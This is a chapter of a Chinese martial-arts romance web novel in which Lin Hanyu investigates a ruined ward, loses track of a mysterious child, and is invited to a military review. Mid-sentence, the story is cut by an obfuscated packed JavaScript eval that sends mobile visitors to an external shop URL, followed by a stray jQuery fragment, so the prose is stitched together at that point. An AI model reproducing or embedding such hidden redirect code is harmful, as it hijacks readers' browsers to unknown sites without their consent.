“永宁坊虽然荒废了,可这地方,却是个好地方。”
老者看着林寒玉,意味深长,“此处距离西城门和咱们成阳关最大的西市都不算远,平日里又鲜有人至。若是有什么急于脱手的货物,放在这儿,可比运进东边官府人多眼杂的仓库里方便多了。贸易司那些军爷,精明着呢。”
“您的意思是,那些房子里,存放的都是官府买卖的货品?”
“明面上的东西自然是过了官府明路的,至于其他私货...谁知道,又有谁敢说呢?”
老者低头伸手,随意碾死了一只爬到脚边的蚂蚁,“听说前阵子贸易司的军爷在外公干,若是回来了,这里忙碌起来,我们这些人都得被赶得远远的。”
林寒玉一时哑然,没想到这小小永宁坊,竟牵扯了刘、钱两位副将。
转念又一想,这笑眯眯的钱副将一边做着刘副将最讨厌的私货倒卖,一边占用着刘副将重建失败的地方做仓库,怪不得后者恨他恨得牙痒痒。
天色不早,林寒玉推说想要进去看看亲戚家的旧址,辞别了老者。
见她脚步不停,一路向永宁坊的深处走去,破屋前的几人也只是事不关己地垂下眼。
连自己的生计都成问题,哪里顾得上操心别人的死活呢?
……
回忆着纸条上的信息,目标明确一路向东,大概走了一盏茶的功夫,四周便再难见到人烟。
倒是诸如老鼠之类的小动物越发活跃起来,也不知他们是怎么在那些残垣断壁、土坷垃里找到食物的。
纸条上的信息太过模糊,好在或许是因为大火的缘故,坊里不少树木都被烧成了木炭。是以当林寒玉看到那颗伫立在路中央的古树,一下子便确定这就是纸条上提到的那颗老槐树。
摸了摸树干上的乌黑痕迹,显然它也曾经历经过一番劫难,却依旧顽强地存活了下来。
抬步绕着老槐树走了几圈,林寒玉举目四望,目之所及却并未发现任何特殊的地方。
到处是倒塌的墙壁和碎石,还有遗留的破碎瓦罐和布料碎片。侧耳倾听,唯余风刮过土地的沙沙声。没有活物,当然更不可能有什么牛和羊。
背靠在树上,林寒玉揪着槐树叶子低头思索。
找到了这老槐树,今日倒也不算毫无收获。只是还没弄清乌荼教到底要做什么,也不知道,这牛和羊,跟所谓的私货有没有关联。
看来,只能等到初二当天再来探查了。
歇息片刻,拍了拍身上的碎叶子准备离开,身后却忽然传来窸窸窣窣一阵声响。
原以为又是老鼠捣乱,细听之下,那声音里却分明夹杂着一道若有若无的呼吸声。
打起十二分戒备,林寒玉转过身来,目光却是一凝——
不远处半截土墙的阴影里,一个小女孩手里拿着只布老虎,一双眼睛正直勾勾地盯着她。
林寒玉:……
听过了永宁坊闹鬼的传言,再见到这么个凭空冒出来的小女孩,正常人恐怕都要吓个半死。
可惜林寒玉向来不信鬼神之说,在溟璇阁待久了,什么怪人没见过。
不过她倒也没掉以轻心,一手拿着折扇背在身后,另一只手朝她招招手:“小女娃,你怎么一个人在这儿?”
那小女孩闻言,一步步跌跌撞撞地向林寒玉走过来。
她身上穿了件洗褪了色的布衣,头发有些乱蓬蓬的,走得急了,不小心绊了一跤,布老虎也脱手朝着林寒玉滚了过来。
俯下身拾起布老虎打量一番。小小的一只,整个儿灰扑扑的,已经很旧了。如今沾上了灰,就更显得暗淡。
虎身上用同色丝线绣了很多花朵图样,绣工倒是十分精致。另有几条杂乱的纹路,看起来像是不小心勾坏了一般。
确认小女孩无害,林寒玉走过去将她抱起,轻轻拍了拍身上的灰尘,又将布老虎塞回她手里。
“你家里的大人呢?”疑心这小女孩是坊门附近某家的孩子,迷了路误入此处,林寒玉再次询问。
小女孩眨了眨懵懂的双眼,“姐姐……寻娘亲……”
林寒玉定定看了她几眼,眉头微皱,这小女孩似乎智力不太正常。
摸了摸她的小脑袋,语气依旧充满耐心:“好,你的娘亲在哪儿,姐姐带你去找。”
小女孩没有回答,只是一味重复着‘寻娘亲’的话。过了一会儿,口中又喃喃着什么“巧线身上引,泪珠心底藏。”似乎是母亲教的童谣。
出来得匆忙,身上没带什么干粮。林寒玉索性摘了几片叶子,想编个小玩意儿哄她开心。
见林寒玉忙着对付那些叶片,注意力不在自己身上,小女孩似乎觉得有些无趣,抓紧布老虎,一步步向后方走去。
“哎!”发现小女孩即将离开视线,林寒玉扔下编了半天不得其法的叶子,急忙抬腿跟上。
恰逢此时,一阵狂风吹过,飞沙走石迷人眼。林寒玉本能抬手去挡,待得再睁开眼,茫茫废墟之中,哪里还有小女孩的影子。
有古怪。
在附近找了几圈,又呼喊了数遍,周围静悄悄,任何回音。登上破败的土墙远望,就连小小的脚印也在风沙中变得模糊,无法追寻。
一个小孩的脚程不可能这么快。林寒玉运起轻功,来来回回寻了数遍,甚至返回门口看过,却依然没发现小女孩的踪迹。
眼看天色渐暗,再不回去恐怕不好解释,即使心中焦急,也只能无奈离开。只盼是自己漏看,小女孩已经平安回家。
*
从窗子翻回内室,林寒玉刚刚换回平时的装扮,就被焦急的若竹堵个正着。
“玉姑娘,您这是去哪儿了,让我们好找。”
一开始,若竹只以为玉姑娘是因为上午的事伤了精神,贪睡了些。没想到一直到日头西斜,内室也没动静。她入内查看,这才发现人居然不在。
林寒玉面色如常,顺手把蒙面的纱巾塞到枕头下,“睡醒后无聊,去花园里逛了一圈”
若竹对未来的少夫人没有丝毫怀疑,只口中喃喃自语,“怎么会呢,找了好几圈,怎么没看到?”她刚才可是急得差点让阿武出去寻人。
眼见若竹沉浸于自己的思绪,云雀在一旁怯怯提醒:“玉姑娘,有访客到。”
林寒玉:……
又来?再让她当陪练、聊人生,她可要向云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743844|209176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沉渊收报酬了。
二话不说,抓起折扇气势汹汹来到前厅,桌边坐着品茶的却是两张熟面孔。
这次来的还真不是什么烂桃花,而是前几天在水榭里交谈过的王、季二位公子。
二人今日之所以前来,还是因为云沉渊。
那日走得匆忙,云小将军记挂着暗道一事,又担心内伤未愈的林寒玉会在乌荼教手下吃暗亏,于是修书一封,暗示有人可能会对林寒玉不利,拜托两位好友帮忙照拂一二。
信中暗示的危机王冲有没有完全理解尚未可知。可等他到了云府,人还未见到,就配着茶水听下人们绘声绘色描述了一场‘以德服人’的好戏。顿时觉得自己的好兄弟真是料事如神。又恨自己来得太晚,差点让未来嫂嫂受委屈。马上立下宏愿,定要为好兄弟的姻缘保驾护航。
只是这照拂,也有好多种方法。
阿玉姑娘一个大活人,关又关不得,他们两个也不好整天在府上待着。思来想去,索性邀请她到军营里,参观正在筹备的军中校阅。
这军中校阅,也算是西境军的老传统了。云沉渊这次来成阳关,除了例行巡查,也有作为主官观摩此次校阅的意思。
说来也巧,原本这筹备的活儿还落不到二人头上,可偏偏负责统筹的刘副将因为暗道一事忙得脚不沾地,无暇他顾。所幸前期的章程已经基本捋顺,只需参照着执行便好,这才把督促参赛士兵训练的任务交到了他们两个急需历练的子弟手上。
“我去参观...会不会不太合规矩?”林寒玉在圆桌边坐下,嘴上带着犹豫,实则心里盘算着该如何拒绝。
虽说刺杀的时候,别说军营,监军帐也早闯过了。可既然这个身份早晚要消失,还是少在外面给云沉渊惹麻烦。
“怕什么!”王冲把手中茶杯放回桌上,豪爽地摆了摆手,“咱们西境军可没其他地方那些乱七八糟的规矩。无论男女,只要愿意上阵报国,皆可入营。”
知道他误会了自己的意思,林寒玉耐心解释,“军事重地,我贸然前去,恐怕有人会说闲话。”
王冲闻言豁然起身,“谁敢说闲话?让我知道,定会给他点颜色看看!”
季霄安抚地拍了拍他的胳膊让他坐下,转头对林寒玉笑道:“阿玉姑娘不必担心,咱们去的是专门辟出来的校场,不会涉及什么机密。”
笑着笑着,他喝了口茶又话锋一转,“全营上下都对沉渊十分敬重,只要是沉渊认定的人,无人会随意置喙。”那双眼静静地看着她,“阿玉姑娘定会与沉渊同心同德,对罢?”
林寒玉:……
云沉渊不在时,她总觉得这位季公子看起来并不像初见时那般热情,说话也似乎意有所指,让人心里发毛。
疑心他是发现了什么,又没法儿跟云沉渊商量,一时哑然。
“那当然!阿玉姑娘和咱们沉渊绝对是天生一对,地设一双!”一旁的王冲抢着开口,冲淡了尴尬,“哎,这次我手下也有几个兵参加,明天你们去看看怎么样!”
有他插科打诨,话题也就顺势揭了过去。眼见两人已经自顾自定好了明日的行程,林寒玉也只能在心里对云沉渊无奈说声抱歉。